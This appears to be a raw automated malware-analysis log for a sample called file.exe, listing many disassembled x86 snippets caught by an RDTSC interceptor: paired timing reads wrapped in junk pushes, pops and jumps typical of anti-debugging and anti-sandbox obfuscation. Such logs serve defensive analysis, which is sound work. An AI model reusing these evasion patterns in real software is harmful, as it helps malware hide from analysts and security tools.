Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38424E second address: 384263 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 jc 00007FDE34C00CE2h 0x0000000d ja 00007FDE34C00CDCh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3843A2 second address: 3843A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 384653 second address: 384677 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FDE34C00CD6h 0x0000000a jmp 00007FDE34C00CE5h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 384677 second address: 38467B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38467B second address: 3846D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007FDE34C00CEDh 0x0000000c jmp 00007FDE34C00CE7h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jng 00007FDE34C00CE7h 0x0000001a push edx 0x0000001b jmp 00007FDE34C00CDBh 0x00000020 jmp 00007FDE34C00CE3h 0x00000025 pop edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 386F9F second address: 386FA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 386FA4 second address: 386FAB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 386FAB second address: 386FC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FDE34EAC86Eh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 386FC3 second address: 386FCD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FDE34C00CD6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 386FCD second address: 386FDE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 386FDE second address: 386FE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 386FE5 second address: 386FF9 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FDE34EAC868h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 386FF9 second address: 387003 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FDE34C00CD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 387003 second address: 387030 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FDE34EAC86Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e pushad 0x0000000f jmp 00007FDE34EAC874h 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 387030 second address: 213D70 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pop eax 0x00000008 mov esi, dword ptr [ebp+122D2FBBh] 0x0000000e push dword ptr [ebp+122D079Dh] 0x00000014 or edi, dword ptr [ebp+122D2F9Fh] 0x0000001a call dword ptr [ebp+122D1E63h] 0x00000020 pushad 0x00000021 cmc 0x00000022 xor eax, eax 0x00000024 je 00007FDE34C00CDCh 0x0000002a mov edx, dword ptr [esp+28h] 0x0000002e clc 0x0000002f mov dword ptr [ebp+122D2DA3h], eax 0x00000035 cmc 0x00000036 mov esi, 0000003Ch 0x0000003b cld 0x0000003c add esi, dword ptr [esp+24h] 0x00000040 clc 0x00000041 lodsw 0x00000043 cld 0x00000044 add eax, dword ptr [esp+24h] 0x00000048 clc 0x00000049 mov ebx, dword ptr [esp+24h] 0x0000004d pushad 0x0000004e jmp 00007FDE34C00CE7h 0x00000053 sub al, FFFFFF81h 0x00000056 popad 0x00000057 nop 0x00000058 jng 00007FDE34C00CE4h 0x0000005e pushad 0x0000005f jp 00007FDE34C00CD6h 0x00000065 push eax 0x00000066 push edx 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 387064 second address: 38706A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38706A second address: 38711E instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FDE34C00CD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f call 00007FDE34C00CE1h 0x00000014 pushad 0x00000015 mov edx, dword ptr [ebp+122D2E97h] 0x0000001b jmp 00007FDE34C00CDDh 0x00000020 popad 0x00000021 pop esi 0x00000022 push 00000000h 0x00000024 call 00007FDE34C00CE3h 0x00000029 pop ecx 0x0000002a push 68D43327h 0x0000002f jc 00007FDE34C00CE9h 0x00000035 jmp 00007FDE34C00CE3h 0x0000003a xor dword ptr [esp], 68D433A7h 0x00000041 mov ecx, dword ptr [ebp+122D2CCEh] 0x00000047 mov dword ptr [ebp+122D3A53h], ebx 0x0000004d push 00000003h 0x0000004f and esi, 58F8EB1Ch 0x00000055 push 00000000h 0x00000057 mov ch, bl 0x00000059 push 00000003h 0x0000005b sub dword ptr [ebp+122D2B29h], ecx 0x00000061 call 00007FDE34C00CD9h 0x00000066 push eax 0x00000067 push edx 0x00000068 pushad 0x00000069 jnl 00007FDE34C00CD6h 0x0000006f jmp 00007FDE34C00CE0h 0x00000074 popad 0x00000075 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38711E second address: 387123 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 387123 second address: 38713F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDE34C00CE0h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38713F second address: 38716C instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FDE34EAC86Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FDE34EAC877h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 387258 second address: 38725C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38725C second address: 387262 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 387262 second address: 387266 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 387266 second address: 3872D7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC875h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FDE34EAC872h 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 pushad 0x00000016 jbe 00007FDE34EAC86Ch 0x0000001c jg 00007FDE34EAC866h 0x00000022 jmp 00007FDE34EAC86Ch 0x00000027 popad 0x00000028 mov eax, dword ptr [eax] 0x0000002a jmp 00007FDE34EAC879h 0x0000002f mov dword ptr [esp+04h], eax 0x00000033 push edi 0x00000034 pushad 0x00000035 push edx 0x00000036 pop edx 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3872D7 second address: 387354 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 pop eax 0x00000007 mov dword ptr [ebp+122D293Fh], edi 0x0000000d push 00000003h 0x0000000f push eax 0x00000010 jmp 00007FDE34C00CE3h 0x00000015 pop ecx 0x00000016 push 00000000h 0x00000018 xor ecx, dword ptr [ebp+122D2FF3h] 0x0000001e push 00000003h 0x00000020 jns 00007FDE34C00CDCh 0x00000026 push 47196359h 0x0000002b pushad 0x0000002c push edi 0x0000002d push eax 0x0000002e pop eax 0x0000002f pop edi 0x00000030 jmp 00007FDE34C00CE9h 0x00000035 popad 0x00000036 add dword ptr [esp], 78E69CA7h 0x0000003d xor dword ptr [ebp+122D2B29h], edx 0x00000043 lea ebx, dword ptr [ebp+12446F0Eh] 0x00000049 or dword ptr [ebp+122D1DF6h], edx 0x0000004f xchg eax, ebx 0x00000050 pushad 0x00000051 push eax 0x00000052 push edx 0x00000053 push ecx 0x00000054 pop ecx 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 387354 second address: 387362 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FDE34EAC866h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 387362 second address: 387366 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 387366 second address: 387387 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 jo 00007FDE34EAC870h 0x0000000f jmp 00007FDE34EAC86Ah 0x00000014 push eax 0x00000015 push edx 0x00000016 jc 00007FDE34EAC866h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3873F3 second address: 387431 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34C00CE0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FDE34C00CDAh 0x0000000e popad 0x0000000f nop 0x00000010 add edx, 226463D7h 0x00000016 push 00000000h 0x00000018 mov edx, 6BCE28CCh 0x0000001d push C2D18FC0h 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007FDE34C00CDAh 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 387431 second address: 3874FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC86Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 3D2E70C0h 0x00000010 mov dword ptr [ebp+122D3B0Dh], esi 0x00000016 push 00000003h 0x00000018 push 00000000h 0x0000001a push ebp 0x0000001b call 00007FDE34EAC868h 0x00000020 pop ebp 0x00000021 mov dword ptr [esp+04h], ebp 0x00000025 add dword ptr [esp+04h], 00000018h 0x0000002d inc ebp 0x0000002e push ebp 0x0000002f ret 0x00000030 pop ebp 0x00000031 ret 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push edi 0x00000037 call 00007FDE34EAC868h 0x0000003c pop edi 0x0000003d mov dword ptr [esp+04h], edi 0x00000041 add dword ptr [esp+04h], 00000016h 0x00000049 inc edi 0x0000004a push edi 0x0000004b ret 0x0000004c pop edi 0x0000004d ret 0x0000004e mov dword ptr [ebp+122D3B07h], ebx 0x00000054 push 00000003h 0x00000056 cld 0x00000057 call 00007FDE34EAC86Bh 0x0000005c xor ecx, dword ptr [ebp+122D1DECh] 0x00000062 pop esi 0x00000063 push 72257805h 0x00000068 jne 00007FDE34EAC86Ah 0x0000006e add dword ptr [esp], 4DDA87FBh 0x00000075 or dword ptr [ebp+122D3166h], edi 0x0000007b lea ebx, dword ptr [ebp+12446F19h] 0x00000081 jmp 00007FDE34EAC872h 0x00000086 push eax 0x00000087 push esi 0x00000088 push eax 0x00000089 push edx 0x0000008a jmp 00007FDE34EAC875h 0x0000008f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 399482 second address: 399486 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A8768 second address: 3A876C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A652E second address: 3A6538 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FDE34C00CD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A6538 second address: 3A653D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A653D second address: 3A6543 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A6543 second address: 3A6552 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 js 00007FDE34EAC872h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A6552 second address: 3A6558 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A6558 second address: 3A6573 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007FDE34EAC87Ah 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007FDE34EAC86Ah 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A66AC second address: 3A66B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A66B2 second address: 3A66E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDE34EAC875h 0x00000009 popad 0x0000000a jne 00007FDE34EAC86Ch 0x00000010 jc 00007FDE34EAC866h 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A66E1 second address: 3A66E7 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A66E7 second address: 3A66F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FDE34EAC866h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A66F1 second address: 3A66FF instructions: 0x00000000 rdtsc 0x00000002 jo 00007FDE34C00CD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A66FF second address: 3A6703 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A6703 second address: 3A6707 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A697E second address: 3A6982 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A6982 second address: 3A698C instructions: 0x00000000 rdtsc 0x00000002 jl 00007FDE34C00CD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A6DC4 second address: 3A6DCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A6EDC second address: 3A6EF2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FDE34C00CDEh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A704C second address: 3A7052 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A731C second address: 3A733A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FDE34C00CE9h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39D329 second address: 39D339 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007FDE34EAC86Eh 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39D339 second address: 39D33D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39D33D second address: 39D34F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jo 00007FDE34EAC88Bh 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39D34F second address: 39D355 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A8074 second address: 3A8078 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A8078 second address: 3A80C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jno 00007FDE34C00CD6h 0x0000000f jmp 00007FDE34C00CE4h 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 popad 0x00000017 pushad 0x00000018 jg 00007FDE34C00CD6h 0x0000001e pushad 0x0000001f popad 0x00000020 jmp 00007FDE34C00CE4h 0x00000025 popad 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A80C0 second address: 3A80CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FDE34EAC866h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A85AC second address: 3A85B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A94E7 second address: 3A94EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AACEF second address: 3AAD2E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34C00CE8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FDE34C00CE8h 0x0000000e popad 0x0000000f push eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push ebx 0x00000013 pop ebx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AAD2E second address: 3AAD32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AAE5C second address: 3AAE60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3ABF4C second address: 3ABF71 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FDE34EAC866h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a ja 00007FDE34EAC86Ah 0x00000010 jp 00007FDE34EAC86Eh 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3ABF71 second address: 3ABF77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3ABF77 second address: 3ABF7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37FEB3 second address: 37FEB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37FEB7 second address: 37FEBD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B4A4F second address: 3B4A82 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FDE34C00CEDh 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c jmp 00007FDE34C00CE0h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B4A82 second address: 3B4A86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B40A2 second address: 3B40B7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34C00CE1h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B4570 second address: 3B4576 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B4576 second address: 3B457A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B457A second address: 3B4580 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B46F7 second address: 3B46FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B46FF second address: 3B471C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDE34EAC874h 0x00000009 push edi 0x0000000a pop edi 0x0000000b push eax 0x0000000c pop eax 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B471C second address: 3B4721 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B48B6 second address: 3B48BC instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B5F35 second address: 3B5F39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B6002 second address: 3B6008 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B6008 second address: 3B600C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B61CB second address: 3B61D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B648D second address: 3B6493 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B6493 second address: 3B64BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE34EAC878h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d ja 00007FDE34EAC866h 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B7080 second address: 3B7084 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B7229 second address: 3B722D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
